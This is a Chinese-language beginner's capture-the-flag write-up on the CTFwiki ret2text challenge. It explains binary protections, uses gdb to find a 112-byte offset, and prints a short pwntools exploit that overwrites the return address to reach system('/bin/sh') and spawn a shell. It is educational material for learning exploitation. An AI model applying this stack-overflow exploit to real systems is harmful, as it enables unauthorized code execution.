ret2text(一道题入门)

二进制安全

不论是网络安全中的web安全还是二进制安全等都是一个很玄学的东西,科学的尽头是是玄学嘛,不论你选的是哪个方向,用心就好了,重在坚持了。我会通过写文章的方式来记录自己的新的体会,这本身就是具有成就感。


工具安装环境搭建

首先需要一个Ubuntu的系统以及PWN的神器IDA等等插件具体请看这篇二进制入门环境安装文章

这里就不多说了,直接做题就好了。


开始做题

此次做题我们用的是CTFwiki中的ret2text赋予他执行权限(chmod 777 ret2text)

0x1

拿到一道题的第一步我们先去检查他的保护机制

checksec ret2text

Arch:    i386-32-little //文件为32位程序

RELRO:    Partial RELRO

Stack:    No canary found    //未开启canary保护

NX:      NX enabled    //开启了栈不可执行保护

PIE:      No PIE (0x8048000)    //未开启地址无关可执行

既然提到了保护机制的原理我们可以参考这篇文章Linux中的保护机制只有了解了它的保护机制我们才可以通过某种手法来绕过利用,从而拿到我们想要的东西。

canary(栈保护)

当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie

信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行

(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode

的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

PIE

如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址

NX(DEP)

NX即No-eXecute(不可执行)的意思,限制一块内存区域不可执行。

ASLR

ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

但是,地址随机化不是对所有模块和内存区都进行随机化!虽然libc、栈、堆的加载位置被随机化,但主镜像不会。

0x2

通过第一步观察到本题是32位程序,对应的是32的IDA。加载出来的是汇编语言,然后就要去看它的main函数按F5反汇编,观察代码


看到这里存在栈溢出漏洞。

栈溢出漏洞

溢出溢出,字面上就是往容器里加的水超过了水的容积,简单讲,栈溢出就是向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,造成溢出。发生栈溢出的条件:程序必须向栈上写入数据。写入的数据大小没有被良好地控制。利用方式:覆盖程序的返回地址为攻击者所控制的地址,比如该地址为执行shellcode的地址shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,可以让攻击者获得shell,利用pwntools可自动生成,等用到再说。可能造成栈溢出的函数。

可能造成栈溢出的函数有:gets,scanf,vscanf,sprintf,strcpy,strcat,bcopy

摘自某大佬博客

0x3

继续浏览其他函数的伪代码。发现secure函数中调用了system(“/bin/sh”),我们只需要想办法执行这system(“/bin/sh”)从而拿到我们想要的shell。


我们现在大概确定了栈溢出漏洞,我们首先要知道这个漏洞到底有多深,然后我们了解了这个漏洞的深度把东西填装进去让他覆盖到这个system(“/bin/sh”)这个地址我们就可以得到shell了。那如何确定这个偏移量和这个地址呢?

第一步利用gdb进行调试看它的偏移

gdb -q ./ret2text         

//gdb载入该文件

pattern create 200     

//制造200个填充字符(多少字符都行),先把他复制下来

r                                 

//运行程序

pattern offset 地址     

//确定偏移



计算的偏移量为112,下面找到system(“/bin/sh”)地址就可以构造exp了,那么我们看在IDA看在secure中调用system(“/bin/sh”)的地址

exp如下

from pwn import*                                 

//导入python库

p = process("./ret2text")                     

//与文件建立本地连接,远程连接用r = remote('ip',端口)

payload = 'a'*112 + p32(0x804863A) 

 //p32()将其打包,64位用p64()

p.sendline(payload)                           

//发送payload

p.interactive()                                     

//直接进行交互,相当于回到shell的模式,在取得shell之后使用

执行exp


pwntools参数及使用可参照:pwntools使用


最后推荐学习网站:CTFwiki 看雪论坛 吾爱破解 B站 都有不错的资源学习。

此篇文章如果存在问题,还望大佬批评指正

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,406评论 6 503
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,732评论 3 393
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,711评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,380评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,432评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,301评论 1 301
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,145评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,008评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,443评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,649评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,795评论 1 347
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,501评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,119评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,731评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,865评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,899评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,724评论 2 354

推荐阅读更多精彩内容